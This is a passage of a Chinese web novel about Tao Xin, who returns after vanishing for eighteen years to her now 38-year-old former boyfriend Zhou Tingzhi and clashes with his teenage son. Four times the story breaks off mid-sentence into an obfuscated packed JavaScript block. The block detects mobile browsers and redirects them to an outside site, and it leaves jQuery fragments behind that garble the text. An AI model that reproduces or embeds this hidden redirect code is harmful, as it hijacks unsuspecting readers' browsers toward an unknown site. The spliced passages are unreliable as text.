可这两个人年纪差距也未免太大了…… 琴姨正胡思乱想着,客厅里的座机电话忽然响了,她忙走过去接起来,只听电话那边传来一个很温柔的男性声音:“您好,请问这里是周先生府上吗。” 一听这开头琴姨就晓得对面肯定是个销售,于是回复:“周先生不在家,你是哪位?有重要的事我会转告。” “是这样的,昨天周先生和陶小姐到我这边店里选购了几件衣服,因为时间仓促购物体验并不是很好,所以我这边跟总部申请,可以专门为周先生陶小姐提供一次Home wardrobin服务,也就是将我们所有当季新品送上门请二位挑选。”销售说到最后又补充了一句:“这是只提供给VIC的特殊服务哦。” 琴姨脑子转得很快,她一想周廷之留的家里电话绝对不是处于偶然,多半是要让陶欣决定的意思,便将电话转交给了陶欣。 “喂,你好。” 陶欣一开口,电话那边瞬间热情洋溢:“你好陶小姐,我是dennis啊,昨天见过的,还记得我吗?不好意思哦,这么早联络没有打扰到你吧?” 琴姨听了一耳朵,只觉得这些销售真有眼力价。周廷之在外边大小算个名人,这么多年光进不出,都快媲美貔貅了,这会为了个小姑娘生平头一次踏进奢侈品店,明摆着是千年铁树开了花,貔貅要开始吐金币了,也不管他有没有在店里消费过,直接升级成VIC□□,这跟逮住肥猪就开宰有什么区别啊? 如果说周廷之是肥猪,那陶欣就是吹毛断发的杀猪刀。 她拿着电话听了好一会,嘴角一弯,眼睛都不眨一下地说:“我刚巧没事,待会你们就过来吧。”然后挂断电话,转过头对琴姨道:“现在买东西真方便,可以直接送到家里面选。” 琴姨笑笑不说话。能说什么呢?难道要说你头一天登堂入室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338664|167800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就搞这么大排场,就一点都不怕鸡飞蛋打吗? 而陶欣浑然不知琴姨的心思,吃饱喝足就坐在客厅里看起了电视剧。 时代发展,进程之快,绝非一些文字资料能说得清楚,既然陶欣已经不能亲身经历这十八年,就只好凭借现有的影视作品补补课,因此管理局给陶欣布置了一项社会化任务,要将2002年至2020年间拍摄的都市剧按年份从头到尾看一遍。 虽然陈平局长特意交代过剧情不重要,重要的是剧里的一些常识,但陶欣还是很难忍受这些乱七八糟的狗血剧情,不是婆媳关系就是家长里短,不是极品亲戚就是奇葩职场,再不然就是纠结的三角恋和坏事做尽的大反派。 陶欣早就看的一个头两个大,可又不得不硬着头皮看下去,谁让管理局每隔三个月就要对她进行一次考核,连续通过三次才能被批准独立生活。 就算她每次考核都顺利通过,也要整整九个月,然后还得重新学开车,考驾照,找地方上学……陶欣陷在柔软的沙发里,深深地叹了口气。 正抑郁着,dennis带领着他的销售团队杀上门了。只见五六个身高超过一米八的男销售,穿着笔挺的黑西装,戴着洁净的白手套,一进门就三下五除二的穿上了鞋套,随即拆箱,熨烫,陈列,布置,一气呵成,最后dennis领着一个穿白裙子的女生走到陶欣面前,声情并茂地说:“陶小姐,这是我们根据您体型特征找的模特,她穿衣服的上身效果应该和您没什么区别,如果您需要的话可以让她帮忙试穿。” 说完这段话,dennis双手交握抵在胸口,满脸谄媚地又补充了一句:“您的身材实在是太优越了,我们好不容易才在舞蹈学院找到了和您体型相似的模特。” 连衣服都不用试就可以坐在家里买衣服,这也太科幻了吧。陶欣简直想为2020年的便捷生活惊叹一声,又怕这些销售以为她是土包子进城,硬生生的忍住了:“嗯……挺好的。” 见陶欣反应平平,以dennis为首的一众销售更积极了,直接在她身旁开启了跪式服务:“陶小姐试试这双鞋吧,您个子高腿又长,穿这款平底鞋更能凸显你的身材比例。”“陶小姐要不要看看这款包,当季限量款,全国也没几只的。” 世界上应该很少有人能经受住这种热情。陶欣本来购物欲没那么强烈,只想买几身舒服的衣服换洗,可在一众销售的哄劝下,连她觉得有点丑的秀款包也买了好几只。 她自己没意识,琴姨可是在旁边暗暗咂舌。老天爷,这几个销售真没白折腾,这些东西搬进来了就不用再搬出去了,也不知道得花多少钱…… 琴姨正犹豫着要不要给周廷之打电话汇报一下情况,楼梯方向忽然传来一阵非常急促的脚步声。 大厅众人一齐看过去,只见一个满脸怒容的少年气势汹汹地站在楼梯口,瞪着陶欣大声说道:“谁让你把这些人叫到我家里的!” 陶欣脚步轻盈地跳到沙发上,一点不退让的回答说:“你爸没告诉你吗,这也是我家。” “你——”周念根本不会吵架,气得脸一下子就涨红了,憋了半响才说:“好!那我走!你等着吧!” 周念说完连衣服都没换,穿着一身家居服就夺门而出。 而陶欣看他这样跑掉,不仅不担心,不忧虑,还轻轻笑了一声,一副满不在乎的模样。 琴姨肝火更旺了。 5. 第 5 章 陶欣从小就是个不肯受一丁点委屈的人,所以昨天晚上就和周廷之摆明了车马,表示自己坚决不会尊老爱幼的谦让周念,如果周念欺负她,她一定要当场还击,绝不手软。 陶欣说这话的时候雄赳赳气昂昂,很有要和周念互扯头花的意思。 可周廷之却毫不担心两个人打起来,更不担心吵起来,他说最坏的结果无非就是周念一气之下离家出走,跑到相隔三公里的朋友家去住。 这会看周念两句话不到拔腿就跑,陶欣都忍不住想笑,她不得不承认,周廷之是真的很了解这个儿子。 把热闹没看够的销售们打发走,陶欣窝在按摩椅里给周廷之汇报起战况:【成如你所料,你儿子跟我交手不到一回合就落荒而逃了】 周廷之很快回复:【他一时难以接受,你别介意】 这么客气。陶欣不自觉嘟了嘟嘴,略长的指甲飞快敲击屏幕:【我晚上想吃海鲜】 周廷之答复:【好,我订位子,六点左右回去接你】 有点闷,有点无聊。 陶欣关掉按摩椅,伸了个懒腰,看着庭院里四处乱蹦的小麻雀,忽然想起自己和周廷之第一次见面时的情景。 那年夏天学校附近公园的荷花开得特别好,密密匝匝的荷花开遍了整片湖,造成极大轰动,不仅上了当地新闻,还举办了第一届荷花节,一时间周边几所学校的大学生几乎都跑去拍照留念。 陶欣虽然不爱凑热闹,但作为有相机的摄影爱好者,也免不得被同学拉去充壮丁。 那时候已经将近傍晚了,余晖是暖黄色的,橙汁一样泼下来,湖面的荷花迎风而立,摇摇颤颤,远处的湖水波光粼粼,美不胜收。几个女生特意找了人少的地方,要在光线彻底消失前拍一张合照留作纪念,陶欣抱着相机正给她们指导动作,忽然听到有人大喊救命,转头一看原来是两个孩子掉进了湖里,正在水面上奋力挣扎。 陶欣把相机塞到同学怀里,刚要往那边跑就见两个人相继跳入水中。一个年纪稍长的大叔一把拽住了近处的小女孩,连同游客一起将其托举上岸,而另一个人却没那么幸运,落水的男孩挣扎不停,又掩在一丛荷花间,他废了好大力气才把男孩拉出来,传递给在湖里等着接应的大叔后便缓缓沉了下去。 是陶欣救了他。 炎热的夏季,大家的衣服都很单薄,陶欣还记得自己那天为了拍照特意穿了一条白裙子,浸过水后湿淋淋的黏在身上,以至于周廷之意识清醒后毫无血色的脸瞬间就涨红了,急忙脱下身上仅有的一件黑T恤递给她。 十九岁的周廷之,只穿着牛仔裤,清瘦,薄肌,肩宽腿长,皮肤雪白,浑身湿淋淋的,面红耳赤地跪在她面前,那样羞涩,又那样的英俊。 当下陶欣脑子里只有八个字——救命之恩,以身相许。 想到这里,陶欣不禁长叹了口气。 而琴姨见她叹气,以为她在为周念发愁,终于按捺不住凑到她跟前:“陶小姐,吃点水果,这是我一早去买的,可新鲜了。” 一个人就能把家里上上下下都打理的井井有条,像琴姨这种保姆从来都是稀缺资源,走到哪都是一等一的抢手。陶欣深知这点,对琴姨格外的客气,一边接过果盘一边连声道谢。 琴姨顺势说:“陶小姐性格这么好,难怪周总喜欢,我在这家帮忙也有小十年了,你可是唯一一个他带回来的异性。” “是嘛。”陶欣笑眯眯地说:“你也是我长这么大唯一一个夸我性格好的。” 琴姨是有备而来,早打好腹稿,语塞了一瞬,又驴头不对马嘴的继续念台词:“周总这个人,你别看他生意做得大,其实很本分的,家里情况也简单,只有一个亡妻留下的孩子,平时乖的不得了,你要是让一让他,家里和和气气的,这往后的日子该多好过呀,别人羡慕都羡慕不来。” “那他要是一直针对我呢?我妈妈说女人不能受气,容易得乳腺癌。”陶欣可怜巴巴的垂下眼:“再说他还有爸呢,我爸妈早都去世了……” …… 周廷之回家的时间比预料中晚一些,他没下车,给陶欣发了条微信,没一会陶欣就慢慢悠悠的从院子里走了出来。 “不是说六点左右吗,这都快六点半了。” “抱歉,公司临时有事要处理,回来的路上还有点堵车。” 陶欣关上车门,看向周廷之。他和绝大多数事业有成的“这总那董”一样,穿的很正式,很商务,不过寻常的衬衫西裤穿在他身上,颇有一种少女漫画里霸道总裁的既视感,一点都不死板,反倒很冷峻。 虽然遗憾和年轻版本的周廷之相处太短暂,但眼前这个成熟版本的也不赖嘛。陶欣越看他越觉得帅,连带着对大儿子也爱屋及乌了,便提议说:“我们去吃饭要不要叫上你儿子?” 周廷之问:“你要摆鸿门宴吗?” “什么话啊,我是为你考虑好不好,儿子都离家出走了,你这个当爹的好歹要拿出个态度呀。” “我已经拿出态度了。” 周廷之把手机递过来,上面是他和周念的聊天记录。 【周廷之:不打算回家了吗?】 【周念:我绝对不会和那个女人同住在一个屋檐下的!】 【周廷之:你不是一直想去瑞士滑雪吗,她有JSBA的一级证书,等年底我可以带你们两个一起去】 【周念:要去你们自己去!我不去!】 【周廷之:不管到什么时候,你都是我在这世界上唯一的亲人,也是最重要的人,既然你真的不愿意接受她,我会和她提分手的】 【周念:我也不是要你和她分手……】 陶欣看到这里,笑着说:“你这是搞哪出?怀柔政策?以退为进?还是真有跟我分手的打算,歪打正着了?” 周廷之也笑着说:“你怎么总是这样。” 陶欣轻哼了一声,没有否认。她喜欢看周廷之窘迫的样子,有事没事就要刁难他一下,看他急于辩解,脸微微泛红,额头上直出汗,就觉得这个男人特别可爱。 哎,今时不同往日,三十八岁的周廷之已经不像从前那么好欺负了。 可陶欣还有点不甘心,她故意把周廷之的手机往自己怀里掩了掩,拿腔作调地说:“今天琴姐跟我讲,我是你带回家的唯一一个异性,你是没有异性朋友,还是不把异性朋友带回家呀?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338665|167800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周廷之表现的很从容。“我的手机你随便检查。”说着还从左手边的储物盒里取出了另一部备用机递给陶欣。 “可恶啊,你以为你这么光明磊落我就不会检查吗?今天就让你知道知道什么叫聪明反被聪明误。”陶欣手指向上一划,直接进入了主屏幕。 周廷之的手机应用少得可怜,基本上只有通讯功能,微信里的好友倒是很多,一眼望去全是连名带姓外加一个括号标注着头衔,譬如王有财(xx集团董事长)高振东(xx办公室主任)林晓华(xx学校副校长),直至把好友列表拉到最下面的#,才出现几个特殊的备注。 陶欣愣了一会,小心翼翼地点进前面带着红色桃心的爸爸里。 “小周啊,你上次推荐那个中医真不错,你阿姨喝了几服药之后睡眠好多了,有时候梦到欣欣也不是噩梦,叔叔替她谢谢你了。” “小周,我们收到你寄来的雪蟹了,很好吃,谢谢你想着我们。” “小周,你也新年快乐,阿姨身体挺好的,不用担心。” “小周,最近有什么消息吗?” “小周,你和叔叔说实话,我真的,还能见到欣欣吗……” “小周,有时间来一趟吧,有些话叔叔想当面和你说。” 聊天记录里为数不多的语音,不过听了三五分钟,就到了尽头。熟悉的声音戛然而止,陶欣回过神时已然泪流满面。 周廷之将车停在路边,沉默了一会说:“昨天晚上你问我,为什么时隔十八年突然见到你却一点都不惊讶,其实我早想过有这一天……” 泪水在陶欣脸上无声滚落,她怔怔地望着周廷之。 “出事那天,我抓着你的手。”周廷之视线落在她身上,又很快收回去:“你忽然就消失了。” 于周廷之而言,“那天”是十八年前印象极为深刻的一天,于陶欣而言却是不久前发生的事,因此他这样一说,陶欣便回忆起当时的情况的确如此,他牢牢抓着她的手,几乎将她的手腕捏碎。 紧接着,只是一眨眼的功夫,她就出现在十八年后风平浪静的山脚下。 “那你……”陶欣看着周廷之,脑子里莫名一片空白,不知道自己究竟想问什么,连伤心都忘了。 周廷之只是平静的陈述着那段过往:“我记得很清楚,不会有错,可医生认为我是创伤后应激障碍,本能的想要回避那段经历,所以产生了幻觉……不过,叔叔阿姨愿意相信。” “起初他们觉得你是穿越到了另一个世界,到处求神拜佛,盼着你能过得好。后来,我们听到了一些关于时裂管理局的传闻,叔叔阿姨一下子有了希望,以为要不了多久就会有你的消息了,夫妻两个每天积极锻炼,保养身体,想健健康康的等你回家。” “虽然叔叔离开的很突然,但临终前把后事都交代的非常清楚,包括留给你的信托基金,不动产,珠宝,古董。所有账目信息他生前的律师和我手里各有一份,我问过陈局长,等你通过管理局的考核,有完全民事行为能力,就可以继承父母留下的遗产。” “所以陶欣,我在你面前唯一的优势,根本不存在。”周廷之终于看向她:“该不安的人是我。” 6. 第 6 章 周廷之拥有如女性一般的敏锐。即便陶欣的不安像夏夜里若隐若现的萤火虫,他也能轻柔地拢进掌心里,让那不安融入月色,长久平静。 陶欣当然爱他,当然遗憾自己缺席的,漫长的十八年。陶欣自私的希望这十八年间,周廷之的生命里并不存在另一个对他举足轻重的女人,可又害怕周廷之和父母一样,陷入无望的等待,荒废了人生中最风华正茂的好时光。 像是知道陶欣在想什么,周廷之笑了笑说:“别用那种眼神看我,我又不是傻子,如果遇到喜欢的人,肯定也会结婚生子。”他并不希望一段感情里满是愧疚和弥补。 “真的?一个都没遇到过?” “我眼光多高你又不是不知道。” 正所谓千穿万穿马屁不穿,陶欣明明挺难过的,叫他这么一说就忍不住翘尾巴:“那倒是,像我这么聪明漂亮的可不多。” 周廷之看着她泪意未退,黑润润的眼睛,笑着将纸巾递了过去:“现在心里好受一点了吗?” “一点点。”陶欣说:“再多和我讲讲我爸妈的事,还有你的事,我想知道。” “你不饿吗?待会一边吃饭一边慢慢给你讲。” “我早都饿了。” 陶欣点开父亲的朋友圈,看到里面一长串的九宫格旅游照,终于破涕为笑:“欸,我爸妈还去南极了呢,哇塞,这张照片拍的真不错,我要洗出来摆在床头柜上。” 就在周廷之以为陶欣的注意力已经完全投入在手机里时,她忽然转过头来,诚恳又认真地说:“虽然我是世间少有的聪明漂亮,但你也不错,不管是二十岁还是三十八岁,都能配得上我,就算你现在重新追求我,我也会答应做你女朋友的。” “谢谢你给我这么高的评价。”周廷之扶着方向盘,略思索了几秒钟,“不过我怎么记得,当初是你追的我。” “是你记得清楚还是我记得清楚啊?”陶欣信誓旦旦:“当初明明就是你主动约我出去吃饭看电影的,我们去吃的烤肉,然后看的怪兽电力公司,还是七点三十二的黄金场,坐在第七排三号和二号,怎么样,我说的没错吧。” 周廷之嘴角微弯:“是,你记得清楚。” 陶欣并没有说谎,当初的确是周廷之主动约她吃饭看电影,只不过怪兽电力公司上映时间是十一月初,距离她和周廷之在临湖公园初遇已经过去两个多月。 陶欣省略了那期间她和周廷之的多次偶遇,只当自己的处心积虑是冥冥之中自有天意。 可话又说回来,处心积虑制造偶遇的只有她自己吗? 陶欣好似不经意地问周廷之:“你和许文涛现在还有联系吗?” 这会还是晚高峰,周廷之的注意力有一多半放在观察路况上,没多想就随口回答说:“许文涛,我们有好多年没联系过了。” 陶欣:“你们以前不是关系很好吗,你做什么都要提前跟他报备一声的。” 周廷之:“……” 许文涛是周廷之的大学室友,同时也是陶欣用糖衣炮弹买通的最强卧底,那个时候,几乎每个周五晚上许文涛都会向陶欣汇报周廷之的周末行程,不管周廷之是去读书馆还是去网吧,去篮球场还是去公园,许文涛总能把周廷之抵达目标点位的时间精确到分钟,从没有过一次的失误。 陶欣还记得有一回,许文涛说周廷之上午十点会去图书馆,她照旧提前五分钟到图书馆门口守株待兔,那会大概是九月末,秋老虎很厉害,她只等一小会就热得难受了,正打算找个地方乘乘凉,一抬头就看到周廷之浑身汗津津地跑过来,而当时的时间刚刚好是十点整。 陶欣原本以为周廷之是有病态般的自律,必须按照自己制定的时间表生活,后来和他谈恋爱了才晓得,这人根本是个面团脾气,翻过去,扒开来,从里到外找不出一点怪癖。 再一想,许文涛那么八面玲珑的一个人,要是没有周廷之点头,怎么会随随便便把周廷之的行程透露出来呢。 所以陶欣老是怀疑周廷之和许文涛暗度陈仓,可不管私底下怎么逼问,这两个人就是不肯松口承认,周廷之还倒打一耙,说是她扰乱了他自律的生活。 直到现在,周廷之也不肯承认,只避重就轻地说:“毕业之后各忙各的,时间长了联系就少了,前几年听说他出国了,不知道是出去工作还是移民。” “怎么都出国啊。” “还有谁?” “雪娜,姚雪娜,你应该还记得吧?陈局长说她移民去了法国,非本国公民,不能做我的监护人。” “所以我还是排在姚雪娜后面。” 姚雪娜也是陶欣和周廷之恋爱关系里不得不提的一个人物。她和陶欣初中高中都是同学,关系好的不得了,还经常到对方家里去住,虽然大学不在一起,但周末也总是约着出去玩,都已经养成了习惯。 所以陶欣和周廷之谈恋爱后,姚雪娜还是会习惯性的打电话约陶欣,陶欣不想让姚雪娜觉得自己有了男朋友就忘了朋友,就只能推掉和周廷之的约会去陪姚雪娜。 那时候周廷之总满腹幽怨,说为什么我每次都排在姚雪娜后面。 “这根本不是一回事嘛。”陶欣解释说:“当时陈局长给我拿来一张表,上面写着那个监护人优先级,女性监护人的优先级就是高于男性监护人的,还有未婚女性监护人高于已婚女性监护人,但已婚男性监护人就高于未婚男性监护人,所以按照人家管理局的制度,你排在雪娜后面,这可不是我决定的……欸,到了吗?” “嗯,到了。”周廷之将车停稳,转头看向陶欣:“那现在你心里的优先级呢?” 陶欣一点都不犹豫的回答:“你,你排最前面。” 周廷之抬起手,犹豫一瞬,理了理她和着泪水黏在脸上的发丝:“走吧,不是早就饿了吗。” 吃饭的地方是一家私人会所,做海鲜很出名,菜品的味道无可挑剔。陶欣在管理局关了将近一个月,天天吃食堂的饭菜,把馋虫养的肥肥胖胖,好不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338666|167800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易下趟馆子,还是吃自己最喜欢的海鲜,直接撑得肚子都鼓起来了。 本来吃的这么饱,又听周廷之说父母在她消失这些年过得很好,陶欣是很高兴的,可一出包间门,迎面遇上几个衣冠楚楚的中老年霸总,却让陶欣的心情急转直下。 其实人家中老年霸总也没说什么,就是认得周廷之,打个招呼,寒暄几句,听到周廷之介绍自己的女朋友,还夸陶欣年轻漂亮,全程都客客气气的。 但陶欣能清楚的感觉到这几个中老年霸总对她的轻视,感觉就像是把她当成豪车名表一样属于男性的装饰品,夸赞她,对她客气,都只是在恭维周廷之。 回家的路上,周廷之敏锐地捕捉到了陶欣的低落:“你不高兴吗?因为那几个人?” 陶欣没有否认,既然打算和三十八岁的周廷之继续交往,就免不得把现实的问题摆到台面上:“嗯……好像有那么一点落差感,可能我还不太适应现在的环境吧,跟你没关系,我得自己调整。” 听陶欣这样说,周廷之有一瞬间的无措,不过很快平复下来。 “需要我做什么吗?”周廷之轻声问。 “心态问题,只能自己解决,这不是你说过的吗。” “是我年轻时说过的,那时候涉世不深,经验不足,不作数。” 陶欣看着车窗外的车流,微不可察地叹了口气。直到此刻她才对年轻时的周廷之感同身受。 和她谈恋爱前,周廷之分明也是学校里的风云人物,追求者层出不穷,走到哪里都万众瞩目,那样一个上进又有朝气的年轻人,任谁看来都是前途不可限量,却因为她的出现,无端端遭受了许多恶意和侮慢,好像随随便便一个人都可以走到周廷之的面前,以调侃的语气说上一句恭喜,你可以少奋斗十年。 陶欣那个时候并不觉得这是多大的困扰,也不觉得别人的看法会影响她和周廷之的感情,周廷之说可以自己调整心态,她就不当回事了。现在想想,真是有点自以为是的洒脱。 风水轮流转,该轮到她为这种落差感难受了。 回到家的时候是晚上九点钟。周念在朋友家借宿,琴姨已经回房休息,偌大的房子里安安静静,显得分外冷清。 陶欣还没有困意,视线追随着周廷之,很像害怕寂寞的小狗。 周廷之犹豫片刻说:“我带你去三楼看看吧,这两天找人收拾一下,再添一些家具,回头你搬去三楼住,一楼的客房太小了。” “啊,那你儿子还不气坏啦。” “没关系,我去和他沟通。” “哇塞,你好帅啊周廷之,这难道就是……”陶欣想说“这难道就是成熟男性的魅力吗”,可手搭在周廷之肩膀下方的那一瞬间,指尖传来的触感忽然打断了她的思路。 欸?这手感? 隔着衬衫,陶欣轻轻摁了一下周廷之的胸口,有点软,有点弹。她感受了好一会,抬脸看向面色微红的周廷之,很认真的提出:“我想跟你一起睡。” 7. 第 7 章 在这个信息化的时代,消息传播的特别快,尤其是那种广大人民群众喜闻乐见的八卦,传播速度更是十分惊人,因此,即便周念死咬着不开口,李乐泉也很快掌握了他离家出走的内情。 “行啦,别憋着啦,我妈经常去买包那家店的sales昨天晚上就把电话打过来了,说你爸给一个女的豪掷几百万,就这屁大点事都得下饭吃的社交圈子,我估计现在已经是家喻户晓的程度了。” 周念像霜打的茄子似的一言不发。 作为最好的朋友,李乐泉肯定不会在这个节骨眼上落井下石,只能安慰他说:“真没什么大不了的,我妈把这件事告诉我的时候都可替你爸高兴了,他这个年纪能谈一场恋爱多不容易啊。” 周念有气无力地说:“我知道不容易,可那女的也太……我怕我爸被她骗了。” 李乐泉忍不住笑:“开什么国际玩笑,你爸可是周廷之啊,谁骗谁还不一定呢。好,退一万步说,就算被骗,能骗什么?钱吗?人家小姑娘年轻貌美,青春多值钱,而你爸最不缺的就是钱。骗感情?好事啊,你爸吃一堑长一智,再找个女朋友肯定是你那贤良淑德的好后妈。万一人家小姑娘心一横,骗你爸一辈子,把你爸后半生都哄得开开心心,那也很不错嘛。” 李乐泉一套长篇大论,说得好似有理有据,周念想反驳都不知道从哪下手,懵头懵脑地看了李乐泉半天,才无可奈何地说:“照你的意思,我只能接受了。” “嗯……虽然我觉得你爸这个人挺靠谱的,不至于被哄得晕头转向,把财产都留给那女的,但你也得多长几个心眼,如果那女的不出什么幺蛾子,那你俩就和平共处呗。” “出幺蛾子呢?” 李乐泉五指合拢,恨声恨气地说:“那我们也有的是力气和手段!” 周念从记事起就是爷爷奶奶的宝贝大孙子,是千娇万宠、众星捧月的长到十八岁,除了学习之外没有任何事需要他烦心,也没有一丁点力气和手段,一想到陶欣跳到沙发上说“这是我家”的样子,他就头疼的要死了。 “你看你,振作起来好吗,有哥们给你出谋划策怕什么啊。” “我是觉得我们俩加起来也不是她的对手。” “她肯定不是一般人,不然不会这么容易就拿下你爸,但你也别低估了哥们,我家跟你家可不一样,你知不知道三个叔叔两个姑姑的含金量,六个兄弟姐妹争家产,什么妖魔鬼怪哥们没见过。”说完,他又气贯长虹地宣布:“今天晚上我跟你一起回家,看看那个女人到底几斤几两!” 李乐泉的确道行深,小小年纪就活得像个老油条。周念看着他,自信心油然而生。 下午四点钟的时候,周念和李乐泉一道回了家,一进门就看门口的柜子上放着好几束鲜花,其中百合味道最浓,都有点呛得慌了。 两个男人构建的家庭,谁闲着没事会买花啊。这些鲜花虽然芬芳馥郁,但在周念看来很像狗在墙根底下尿尿,是一种圈领地的行为。 周念眉头一下子蹙起来了,面色也凝重了,明摆着是要以这些鲜花为由向陶欣发起进攻。 “傻站着干什么,换鞋啊。”李乐泉扯了扯周念的袖子,压低声音说:“敌不动我不动,她没主动惹你,你就不要摆个臭脸,男子汉大丈夫,别在这些小事上失了风度。” 周念很听劝,深吸了口气的同时把眉头也舒展开了,他扯着嘴角朝着李乐泉一笑:“这样总可以吧。” 李乐泉朝他竖了个大拇指:“好标准的皮笑肉不笑。” 两个人换上拖鞋往客厅走,正好碰到陶欣拿着一把剪刀从楼上下来,看到陶欣去了二楼,周念差点又绷不住,那个怒气冲冲的“你”字都顶到嗓子眼了,想到李乐泉苦口婆心的教诲,愣是给咽了回去,竭力平静地说:“你去楼上做什么?” “去书房拿剪子呀。”陶欣自然的像是从小就住在这个家里,“我订的花送到了,收拾一下好插瓶。”她说着,视线落在了李乐泉身上。 周念随之看过去,见李乐泉目不转睛地盯着陶欣,一副入神的样子,以为他被妲己美色迷惑,大为羞耻,恨不得叮叮咣咣给他一顿乱拳。 用手肘撞了一下李乐泉,周念强忍着恼怒说:“我带朋友来家里玩,你不要上二楼了,不方便。” “OK。”陶欣笑一笑:“你们好好玩。” 周念一鼓作气地把李乐泉拽回房间,关起门来就要对他动手。 “慢着慢着。”李乐泉终于回过神,满脸惊疑:“我好像在哪见过她。” 李乐泉不是信口胡说的人。周念收回即将要抚摸到他脑袋上的手:“真的假的?我爸说她从小在国外,前一阵刚回国,国内的房子正在装修,所以暂时住在我家。” “真的真的,我一看她就感觉特别的眼熟,肯定是在哪见过……在哪来着……”李乐泉想了半天,还是没想起来,可他又不可能无缘无故觉得一个人眼熟,于是做出推断:“那个女的是不是网红?也许我在网上刷到过她,妈呀,该不会是什么名媛培训班的学员吧!” 周念一听这话脸色都隐隐发青了。周廷之找一个年纪这么小的女朋友本来就有够离谱,要是被人知道这还是个女网红,岂不是一世英名都毁于一旦! 而李乐泉越分析越觉得合理:“从小在国外,刚回国,闲着没事就在家插花,嗯……很符合我对名媛培训班的刻板印象。” “不行!”周念瞬间下了决心:“如果真是这样,我无论如何都要把她赶出去!” 李乐泉揽着他说:“稍安勿躁,这也只是我们的推测,我们还是要对周叔叔有信心的嘛,他要是这种低俗的品位,怎么会保持单身十几年啊。” 周念推开李乐泉搭在自己肩上的手,眼神颇有一种看破红尘的凄凉:“你说对,天下男人都一样,都喜欢妲己,我爸也是凡夫俗子。” 天真的心碎裂了,李乐泉感到非常惋惜,又怕他一时想不开要出家,想了想说:“要不这样吧,我们去试探试探妲己。” “怎么试探?” “与其说试探,不如说了解,你爸喜欢她到底是看重她的人格魅力,还是被她勾引男人的手段诱惑了,我们去了解她一下不就清楚了。” 周念点点头,觉得李乐泉说的很有道理。 李乐泉见他点头,又嘱咐道:“咱们事先讲好,既然是奔着了解对方去的,就要尽可能的和颜悦色,敌不动我不动嘛,我们掌握的越多,胜算越大。” “好,我都听你的。” “行,看我眼色行事。” 两个人做好准备,又下了楼。陶欣正在客厅插花,满地散开的花束,各式各样的花瓶,她跪坐在厚重柔软的地毯上,一边哼着歌一边打理花枝,看上去心情很好的样子。 李乐泉抛开对那张熟悉面孔的惊疑,细细的将陶欣从头到脚打量了一遍。她个子很高,大概在一米七以上,身体纤细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道你是周叔叔的女朋友,可周叔叔这不是不在吗,我看你顶多比我大个一两岁?”李乐泉开始了第一步试探。女人的年龄光看长相是看不出的,李乐泉大胆猜想也许这个陶欣成天泡在美容院,看着像二十岁,其实已经三十岁了。如果真是三十岁,周念就不用再为此感到苦恼。 可惜陶欣回答:“我二十。” 李乐泉面不改色地追问:“那你是千禧年出生的呀,千禧年属什么来着?” 陶欣原本还觉得管理局那些社会化训练完全是多此一举,没想到居然真有人这么无聊的问她属相。她像接受记者采访一样盯着李乐泉说:“属龙。” 回答这么快?老天爷,真二十岁。 李乐泉掐指一算,挺佩服周廷之的,心想周叔叔上大学的时候这姐们才出生啊。 “那你现在不上学了吗?” “休学一年。” “哦哦,你学什么专业的呀?” “……” 陶欣看着眉清目秀的李乐泉,又看向坐在一旁摆弄游戏机的周念,忽然萌生出一个大胆的想法,并且越想越觉得可能性极高,沉默片刻,终于忍不住问李乐泉:“你这么没话找话的跟我套近乎,该不会是受周念的委托来勾引我的吧?” 客厅里寂静了一瞬。 李乐泉回过神,正要摆手否认,忽见坐在对面的周念猛地站起身,朝着他身后的方向说:“爸,你什么时候回来的?” 周廷之:“有一会了。” 8. 第 8 章 周念回家前给周廷之发了微信。 十七八岁的男孩子脾气都沾点古怪,叫人摸不清章法。周念的退步和示好在周廷之看来实在很不容易,他心里也希望周念和陶欣可以好好相处,怕两个人碰到面又起冲突,特意早早结束工作赶回家来。 就这样隔着玄关的屏风,目睹了李乐泉“勾引”陶欣的全过程。 而李乐泉扭头看到周廷之,更是窘迫的涨红了脸,急忙解释说:“周叔叔,您别误会,没有的事,我们就是随便聊聊天。” 周廷之拾起沙发上散落的花枝,语气轻轻柔柔:“我知道,她在跟你开玩笑。” 李乐泉见状才稍稍松了口气。 